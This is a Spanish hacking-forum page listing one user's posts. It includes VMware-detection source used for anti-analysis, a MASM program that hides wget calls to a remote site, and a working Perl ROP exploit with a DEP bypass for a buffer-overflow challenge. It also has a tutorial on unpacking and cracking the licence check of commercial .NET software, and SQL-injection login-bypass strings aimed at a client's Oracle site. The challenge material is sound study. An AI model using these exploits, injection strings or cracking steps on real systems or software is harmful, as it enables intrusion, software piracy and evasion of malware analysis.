elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... 39
41  Programación / Ingeniería Inversa / Posible Malware? en: 14 Marzo 2015, 00:28 am
Esta aplicación es un Icon Changer pero aparentemente tiene un malware, un experto en VB y que sea moderador  :silbar: quizás pueda revisarlo o cualquier usuario que tenga tiempo, el link es el siguiente:

http://www71.zippyshare.com/v/zdovYjBT/file.html

Advertencia, posible malware
42  Programación / Ingeniería Inversa / Detección de VMware - ScoopyNG en: 23 Febrero 2015, 16:30 pm
Indagando por el recóndito Internet encontré una herramienta muy interesante llamada: ScoopyNG lo que hace esta herramienta es realizar una serie de pruebas (test) para verificar si se está ejecutando una máquina virtual VMware, la página del proyecto:
http://www.trapkit.de/research/vmm/scoopyng/index.html

Viene compilado en .exe pero lo mejor de todo es que viene incluido el source code (lo que me motivó a hacer este pequeño post) Esto es de gran utilidad ya que puede ser agregado en sus aplicaciones (no necesariamente todos los test y no necesariamente debe ser un programa en C, lo pueden portar):

Source Code ScoopyNG.c :
Código
  1. /* ScoopyNG - The VMware detection tool
  2.  * Version v1.0
  3.  *
  4.  * Tobias Klein, 2008
  5.  * www.trapkit.de
  6.  */
  7.  
  8. #include <windows.h>
  9. #include <excpt.h>
  10. #include <stdio.h>
  11.  
  12. #define DEBUG 0
  13. #define EndUserModeAddress (*(UINT_PTR*)0x7FFE02B4)
  14.  
  15. typedef LONG (NTAPI *NTSETLDTENTRIES)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);
  16.  
  17. unsigned long
  18. get_idt_base (void)
  19. {
  20. unsigned char idtr[6];
  21. unsigned long idt = 0;
  22.  
  23. _asm sidt idtr
  24. idt = *((unsigned long *)&idtr[2]);
  25.  
  26. return (idt);
  27. }
  28.  
  29. unsigned long
  30. get_ldtr_base (void)
  31. {
  32. unsigned char   ldtr[5] = "\xef\xbe\xad\xde";
  33. unsigned long   ldt = 0;
  34.  
  35. _asm sldt ldtr
  36. ldt = *((unsigned long *)&ldtr[0]);
  37.  
  38. return (ldt);
  39. }
  40.  
  41. unsigned long
  42. get_gdt_base (void)
  43. {
  44. unsigned char   gdtr[6];
  45. unsigned long   gdt = 0;
  46.  
  47. _asm sgdt gdtr
  48. gdt = *((unsigned long *)&gdtr[2]);
  49.  
  50. return (gdt);
  51. }
  52.  
  53. void
  54. test1 (void)
  55. {
  56. unsigned int idt_base = 0;
  57.  
  58. idt_base = get_idt_base ();
  59.  
  60. printf ("[+] Test 1: IDT\n");
  61. printf ("IDT base: 0x%x\n", idt_base);
  62.  
  63. if ((idt_base >> 24) == 0xff) {
  64. printf ("Result  : VMware detected\n\n");
  65. return;
  66. }
  67.  
  68. else {
  69. printf ("Result  : Native OS\n\n");
  70. return;
  71. }
  72. }
  73.  
  74. void
  75. test2 (void)
  76. {
  77. unsigned int ldt_base = 0;
  78.  
  79. ldt_base = get_ldtr_base ();
  80.  
  81. printf ("\n[+] Test 2: LDT\n");
  82. printf ("LDT base: 0x%x\n", ldt_base);
  83.  
  84. if (ldt_base == 0xdead0000) {
  85. printf ("Result  : Native OS\n\n");
  86. return;
  87. }
  88.  
  89. else {
  90. printf ("Result  : VMware detected\n\n");
  91. return;
  92. }
  93. }
  94.  
  95. void
  96. test3 (void)
  97. {
  98. unsigned int gdt_base = 0;
  99.  
  100. gdt_base = get_gdt_base ();
  101.  
  102. printf ("\n[+] Test 3: GDT\n");
  103. printf ("GDT base: 0x%x\n", gdt_base);
  104.  
  105. if ((gdt_base >> 24) == 0xff) {
  106. printf ("Result  : VMware detected\n\n");
  107. return;
  108. }
  109.  
  110. else {
  111. printf ("Result  : Native OS\n\n");
  112. return;
  113. }
  114. }
  115.  
  116. // Alfredo Andrés Omella's (S21sec) STR technique
  117. void
  118. test4 (void)
  119. {
  120. unsigned char mem[4] = {0, 0, 0, 0};
  121.  
  122. __asm str mem;
  123.  
  124. printf ("\n[+] Test 4: STR\n");
  125. printf ("STR base: 0x%02x%02x%02x%02x\n", mem[0], mem[1], mem[2], mem[3]);
  126.  
  127. if ((mem[0] == 0x00) && (mem[1] == 0x40))
  128. printf ("Result  : VMware detected\n\n");
  129. else
  130. printf ("Result  : Native OS\n\n");
  131. }
  132.  
  133. void
  134. test5 (void)
  135. {
  136. unsigned int a, b;
  137.  
  138. __try {
  139. __asm {
  140.  
  141. // save register values on the stack
  142. push eax
  143. push ebx
  144. push ecx
  145. push edx
  146.  
  147. // perform fingerprint
  148. mov eax, 'VMXh' // VMware magic value (0x564D5868)
  149. mov ecx, 0Ah // special version cmd (0x0a)
  150. mov dx, 'VX' // special VMware I/O port (0x5658)
  151.  
  152. in eax, dx // special I/O cmd
  153.  
  154. mov a, ebx // data
  155. mov b, ecx // data (eax gets also modified but will not be evaluated)
  156.  
  157. // restore register values from the stack
  158. pop edx
  159. pop ecx
  160. pop ebx
  161. pop eax
  162. }
  163. } __except (EXCEPTION_EXECUTE_HANDLER) {}
  164.  
  165. #if DEBUG == 1
  166. printf ("\n [ a=%x ; b=%d ]\n\n", a, b);
  167. #endif
  168.  
  169. printf ("\n[+] Test 5: VMware \"get version\" command\n");
  170.  
  171. if (a == 'VMXh') { // is the value equal to the VMware magic value?
  172. printf ("Result  : VMware detected\nVersion : ");
  173. if (b == 1)
  174. printf ("Express\n\n");
  175. else if (b == 2)
  176. printf ("ESX\n\n");
  177. else if (b == 3)
  178. printf ("GSX\n\n");
  179. else if (b == 4)
  180. printf ("Workstation\n\n");
  181. else
  182. printf ("unknown version\n\n");
  183. }
  184. else
  185. printf ("Result  : Native OS\n\n");
  186. }
  187.  
  188. void
  189. test6 (void)
  190. {
  191. unsigned int a = 0;
  192.  
  193. __try {
  194. __asm {
  195.  
  196. // save register values on the stack
  197. push eax
  198. push ebx
  199. push ecx
  200. push edx
  201.  
  202. // perform fingerprint
  203. mov eax, 'VMXh' // VMware magic value (0x564D5868)
  204. mov ecx, 14h // get memory size command (0x14)
  205. mov dx, 'VX' // special VMware I/O port (0x5658)
  206.  
  207. in eax, dx // special I/O cmd
  208.  
  209. mov a, eax // data
  210.  
  211. // restore register values from the stack
  212. pop edx
  213. pop ecx
  214. pop ebx
  215. pop eax
  216. }
  217. } __except (EXCEPTION_EXECUTE_HANDLER) {}
  218.  
  219. printf ("\n[+] Test 6: VMware \"get memory size\" command\n");
  220.  
  221. if (a > 0)
  222. printf ("Result  : VMware detected\n\n");
  223. else
  224. printf ("Result  : Native OS\n\n");
  225. }
  226.  
  227. int
  228. test7_detect (LPEXCEPTION_POINTERS lpep)
  229. {
  230. printf ("\n[+] Test 7: VMware emulation mode\n");
  231.  
  232. if ((UINT_PTR)(lpep->ExceptionRecord->ExceptionAddress) > EndUserModeAddress)
  233. printf ("Result  : VMware detected (emulation mode detected)\n\n");
  234. else
  235. printf ("Result  : Native OS or VMware without emulation mode\n"
  236. "          (enabled acceleration)\n\n");
  237.  
  238. return (EXCEPTION_EXECUTE_HANDLER);
  239. }
  240.  
  241. void __declspec(naked)
  242. test7_switchcs ()
  243. {
  244. __asm {
  245. pop eax
  246. push 0x000F
  247. push eax
  248. retf
  249. }
  250. }
  251.  
  252. // Derek Soeder's (eEye Digital Security) VMware emulation test
  253. void
  254. test7 (void)
  255. {
  256. NTSETLDTENTRIES ZwSetLdtEntries;
  257. LDT_ENTRY csdesc;
  258.  
  259. ZwSetLdtEntries = (NTSETLDTENTRIES)GetProcAddress (GetModuleHandle ("ntdll.dll"), "ZwSetLdtEntries");
  260.  
  261. memset (&csdesc, 0, sizeof (csdesc));
  262.  
  263. csdesc.LimitLow = (WORD)(EndUserModeAddress >> 12);
  264. csdesc.HighWord.Bytes.Flags1 = 0xFA;
  265. csdesc.HighWord.Bytes.Flags2 = 0xC0 | ((EndUserModeAddress >> 28) & 0x0F);
  266.  
  267. ZwSetLdtEntries (0x000F, ((DWORD*)&csdesc)[0], ((DWORD*)&csdesc)[1], 0, 0, 0);
  268.  
  269. __try {
  270. test7_switchcs();
  271. __asm {
  272.            or eax, -1
  273.            jmp eax
  274.        }
  275.    }
  276.    __except (test7_detect (GetExceptionInformation())) { }
  277. }
  278.  
  279. int
  280. main (void)
  281. {
  282. printf ("\n\n####################################################\n");
  283. printf ("::       ScoopyNG - The VMware Detection Tool     ::\n");
  284. printf ("::              Windows version v1.0              ::\n\n");
  285.  
  286. test1 ();
  287. test2 ();
  288. test3 ();
  289. test4 ();
  290. test5 ();
  291. test6 ();
  292. test7 ();
  293.  
  294. printf ("::                   tk,  2008                    ::\n");
  295. printf ("::               [ www.trapkit.de ]               ::\n");
  296. printf ("####################################################\n\n");
  297.  
  298. return 0;
  299. }

Créditos: www.trapkit.de
43  Seguridad Informática / Hacking / MOVIDO: crackeando acunetix v9 (themida-inlinepatch) – l en: 29 Enero 2015, 01:51 am
El tema ha sido movido a Ingeniería Inversa.

http://foro.elhacker.net/index.php?topic=428872.0
44  Seguridad Informática / Hacking Wireless / Brute force Wifi? en: 23 Enero 2015, 15:53 pm
Hola a todos, estoy buscando algo que me permita hacer un scan de todas las redes visibles de mi ordenador y que pruebe con un diccionario, no pretendo crackear la clave ya sea por la debilidad del protocolo de cifrado WEP (aircrack-ng) o WPA2/WPS (reaver)

No sé si se entiende, espero su ayuda, saludos :D
45  Programación / ASM / Leer salida de un comando en MASM en: 23 Enero 2015, 08:42 am
Hola a todos me gustaría saber como puedo leer la salida de un comando ejecutado en la consola, me explico:

Mi programa -> Lanza el comando cmd.exe -> el programa recibe en un buffer lo que mostró es decir:
Citar
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Tengo el siguiente código, solo tomen importancia en donde he comentado:
Código
  1. .386
  2. option casemap:none
  3. .model flat,stdcall
  4. include c:\masm32\include\windows.inc
  5. include c:\masm32\include\kernel32.inc
  6. include c:\masm32\include\user32.inc
  7. include c:\masm32\include\shlwapi.inc
  8. includelib c:\masm32\lib\kernel32.lib
  9. includelib c:\masm32\lib\user32.lib
  10. includelib c:\masm32\lib\shlwapi.lib
  11.  
  12. .const
  13.  
  14. .data
  15. lpString2 byte "NOTE",0
  16. lpCmdLine1 byte "wget.exe http://www.pagina.com/new.php?start=yes&key=111022212 --delete-after",0
  17. lpCmdLine2 byte "wget.exe http://www.pagina.com/register.php?key=1093211 --delete-after",0
  18. lpCmdLine3 byte "cmd",0
  19. lpCmdLine4 byte 100 dup(?)
  20. lpCmdLine4_size byte ?
  21.  
  22. .data?
  23. lpString byte 80 dup(?)
  24. hWnd HANDLE ?
  25. lpOut byte 40 dup(?)
  26.  
  27. sinfo STARTUPINFO <>
  28. pinfo PROCESS_INFORMATION <>
  29. sattb SECURITY_ATTRIBUTES <>
  30.  
  31. hReadPipeOut HANDLE ?
  32. hWritePipeOut HANDLE ?
  33. .code
  34. main PROC
  35. invoke Sleep,20000d
  36. invoke WinExec,addr lpCmdLine1,SW_HIDE
  37. bucle:
  38. .WHILE(TRUE)
  39. invoke Sleep,3000d
  40. invoke GetForegroundWindow
  41. mov hWnd,eax
  42. .IF hWnd!=NULL
  43. invoke GetWindowText,eax,addr lpString, sizeof lpString
  44. mov edi,offset lpString
  45. mov eax,dword ptr ds:[lpString2]
  46. mov ecx,lengthof lpString
  47. cld
  48. repne scasb
  49. jnz bucle
  50. dec edi
  51. mov edi,dword ptr ds:[edi]
  52. cmp eax,edi
  53. jnz bucle
  54. invoke WinExec,addr lpCmdLine2,SW_HIDE
  55. ; ---AQUI LO QUE ESTOY INTENTANDO REALIZAR---
  56. mov sattb.nLength,sizeof sattb
  57. mov sattb.bInheritHandle,TRUE
  58. mov sattb.lpSecurityDescriptor,NULL
  59. invoke CreatePipe,addr hReadPipeOut,addr hWritePipeOut,addr sattb,0
  60.  
  61. invoke SetHandleInformation,hReadPipeOut,HANDLE_FLAG_INHERIT,NULL
  62.  
  63. mov eax,hReadPipeOut
  64.  
  65. mov sinfo.cb,sizeof sinfo
  66. mov sinfo.dwFlags,STARTF_USESTDHANDLES
  67. mov sinfo.hStdOutput,eax
  68. mov sinfo.hStdOutput,eax
  69. mov sinfo.hStdError,eax
  70. invoke CreateProcess,NULL,addr lpCmdLine3,NULL,NULL,TRUE,0,NULL,NULL,addr sinfo,addr pinfo
  71.  
  72. invoke ReadFile,hReadPipeOut,addr lpCmdLine4,sizeof lpCmdLine4,addr lpCmdLine4_size,NULL
  73. ; ------ FIN DE LO QUE ESTOY INTENTANDO REALIZAR -----
  74. invoke Sleep,1200000d
  75. .ENDIF
  76. .ENDW
  77. main ENDP
  78. END main

Problema: Luego de llamar a ReadFile nunca retorna y su buffer no contiene la salida de cmd.

A ver si me ayudan, saludos
46  Seguridad Informática / Bugs y Exploits / Solución Server Vuln de harry_the_blogger en: 19 Enero 2015, 17:31 pm
Solución Server Vuln de harry_the_blogger

Problema:
- Se debe lograr ejecutar dos funciones ocultas ubicadas en un ejecutable vulnerable a stack buffer overflow (desbordamiento de pila), por lo menos eso es lo que alude el ejecutable, harry_the_blogger no mencionó el objetivo del juego  :huh:.

Solución:
La idea principal es lograr modificar PC (program counter) que en este caso (arquitectura) es lo que apunta el registro EIP, para ello la composición del exploit sería el siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
- Address función oculta 1 (0x40105E).
- Address función oculta 2 (0x401036).

[BASURA][SALTO AL STACK][ADDRESS FUNCION_OCULTA_1][RETORNO][ADDRESS FUNCION_OCULTA_2]

Esto se podría realizar, pero el problema que tendríamos principalmente serían las direcciones de las funciones ocultas ya que estas contienen bytes nulos (null bytes), lo cual nos "cortaría" el flujo de nuestro exploit, para ello tenemos como solución lo siguiente:
Código:
- Basura ("A").
- Salto al stack (JMP ESP/PUSH ESP/RETN).
#----INICIO---Ejecución de código dentro del stack
- Mover las direcciones modificadas de las funciones ocultas a los registros (EJ: 0x401036 + 0x11111111h)
- Restar/sumar a las direcciones la modificación para que queden con su valor original.
- CALL Dirección oculta 1
- Call Dirección oculta 2
#----FIN -----Ejecución de código dentro del stack

Pero pfff y que ocurre con DEP ?  >:( Si usáramos esta solución, el sistema no nos permitiría la ejecución de código en el stack (mecanismo de protección).

Solución final:
Como solución propuesta, se me ocurrió utilizar cadenas ROP lo cual nos permitirá ejecutar código del mismo ejecutable y módulos cargados, el cual terminará llamando a las dos funciones ocultas y evitando la protección DEP:

Código
  1. # Operating system = Microsoft Windows XP Profesional Versión 2002 Service Pack 2
  2. # Language         = Spanish
  3. # Required DLL     = kernel32.dll | RPCRT4.dll
  4. # Author           = UND3R
  5.  
  6. use strict;
  7. use Socket;
  8. my $junk = "\x41" x 64;
  9. my $eip = pack('V', 0x7c87f30e); # kernel32.dll | POP EAX;POP EBP;RETN
  10. my $hidden_two = pack('V', 0x373e47db); # 0x40105E - 0xC901C883 = 0x373E47DB
  11. my $hidden_one = pack('V', 0x373e47b3); # 0x401036 - 0xC901C883 = 0x373E47B3
  12. my $rop1 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  13. my $rop2 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  14. my $rop3 = pack('V', 0x7c80ad03); # kernel32.dll | ADD EAX,0xC901C883;RETN
  15. my $rop4 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  16. my $rop5 = pack('V', 0x7c80b0eb); # kernel32.dll | XCHG EAX,EBP
  17. my $rop6 = pack('V', 0x77e61acc); # RPCRT4.dll | CALL EAX;RETN
  18.  
  19. my $exploit = $junk . $eip . $hidden_two . $hidden_one . $rop1 . $rop2 . $rop3 . $rop4 . $rop5 . $rop6;
  20.  
  21. # initialize host and port
  22. my $host = shift || 'localhost';
  23. my $port = shift || 6666;
  24.  
  25. my $proto = getprotobyname('tcp');
  26.  
  27. # get the port address
  28. my $iaddr = inet_aton($host);
  29. my $paddr = sockaddr_in($port, $iaddr);
  30.  
  31. print "[+] Setting up socket\n";
  32. # create the socket, connect to the port
  33. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  34. print "[+] Connecting to $host on port $port\n";
  35. connect(SOCKET, $paddr) or die "connect: $!";
  36.  
  37. print "[+] Sending payload (size = " . length($exploit) . ") \n";
  38. print SOCKET $exploit."\n";
  39.  
  40. print "[+] Payload sent\n";
  41. close SOCKET or die "close: $!";

- ¿Es standard?
Lamentablemente no ya que utiliza dos DLL cargadas por el sistema (las mencioné en el exploit). No lo pude hacer standard/genérico ya que al ser un ejecutable muy sencillo y no contar con sus propias DLL se me fue imposible encontrar cadenas ROP dentro de él y tuve que buscar DLLs del sistema.

- Saludos y agradecimientos
harry_the_blogger genial amigo que manera de programa muy linda y nada mejor que postees este tipo de retos en el foro lo cual a mi criterio simplemente aporta conocimiento :D y a Don Videla que ya nos veremos.


Aquí una imagen de la ejecución del exploit, por cierto DEP arrancó pero luego de haber ejecutado las funciones ocultas (seguramente por el desbordamiento ocasionado):


PD: Voy en un bus viajando así que perdona si no me pude explicar bien, si tienes alguna duda, con gusto te respondo :D
47  Programación / Ingeniería Inversa / [Tutorial]Unpack .NET Reactor + Crack en: 17 Enero 2015, 07:46 am
Unpack .NET Reactor + Crack
Iniciamos la aplicación y vemos la siguiente nag:


Si revisamos con RDG Packer detector en busca de información del ejecutable, obtenemos los siguiente:


por lo cual debemos enfrentarnos al packer para luego intentar crackear la aplicación, para desempaquetar .NET Reactor utilizaremos de4dot:


Intentamos localizar algún método sospechoso y encontramos "checkLic" el cual retorna true si existe licencia o false en caso contrario. Sabiendo eso buscamos en que lugar es usado el método y obtenemos lo siguiente:

MainFrm_Load()

Código
  1. }
  2.       if (Class9.checkLic())
  3.       {
  4.           if (Operators.CompareString(Class9.string_3, "Basic Edition", false) == 0)
  5.           {
  6.               this.opt_MusicDuplicates.Enabled = false;
  7.               this.opt_PatternDuplicates.Enabled = false;
  8.               this.opt_MusicDuplicates.Values.ExtraText = "Not Available In Basic Edition";
  9.               this.opt_PatternDuplicates.Values.ExtraText = "Not Available In Basic Edition";
  10.               this.m_Activate.Text = "Activate Upgrade";
  11.               this.m_BuyNow.Text = "Upgrade to Pro Edition";
  12.           }
  13.           else
  14.           {
  15.               this.m_Activate.Visible = false;
  16.               this.m_BuyNow.Visible = false;
  17.           }
  18.  

Por lo cual si el método checkLic retornará siempre true gracias a la composición de las condiciones activaríamos el software en la versión Pro Edition. Ahora si modificamos checkLic (en realidad si realizamos cualquier modificación con SAE o Reflexil) obtenemos el siguiente mensaje de error:



Por lo cual me vi obligado a modificar los op code de forma manual (editor hexadecimal), para ello con IDA localicé el offset del método checkLic y me arrojó que era: 0x21DC8 tras dirigirme al inicio del método, este debía retornar siempre true:

Código:
MSIL
L_004C516E:   ldc.i4.1 (OP CODES = 17)
L_004C516F:   ret (OP CODES = 2A)

por lo que en resumen si modificamos los primeros dos bytes del offset 0x21DC8 por 0x17 0x2A (172A) con un editor hexadecimal y guardamos los cambios, al iniciar el ejecutable obtendremos lo siguiente:
48  Seguridad Informática / Nivel Web / ISQL Oracle en: 6 Diciembre 2014, 16:26 pm
Hola a todos testeando la seguridad web de un cliente estoy intentando obtener el tamaño de la password de un usuario, la idea para ingresar sin password es así:
Citar
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'

Descifré los nombres de los campos Username y Password, intento algo más menos así:
Username='1' OR LENGTH(Password) = '7

Pero no logro nada, a ver si me guían
PD: Análisis de caja negra, no puedo solicitar datos sensibles al cliente
49  Foros Generales / Dudas Generales / Duda con Zoho email en: 4 Diciembre 2014, 21:21 pm
Hola a todos, ando algo verde con ZOHO a ver si alguien me logra ayudar:
- Lo que quiero hacer es realizar una redirección, me explico cuando se envié un correo a:

loquesea@mipagina.net se envie a correovalido@mipagina.net

Saludos
50  Programación / Ingeniería Inversa / MOVIDO: convertir un xml a tablas de bases de datos en: 21 Septiembre 2014, 22:27 pm
El tema ha sido movido a Dudas Generales.

http://foro.elhacker.net/index.php?topic=421578.0
Páginas: 1 2 3 4 [5] 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ... 39
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines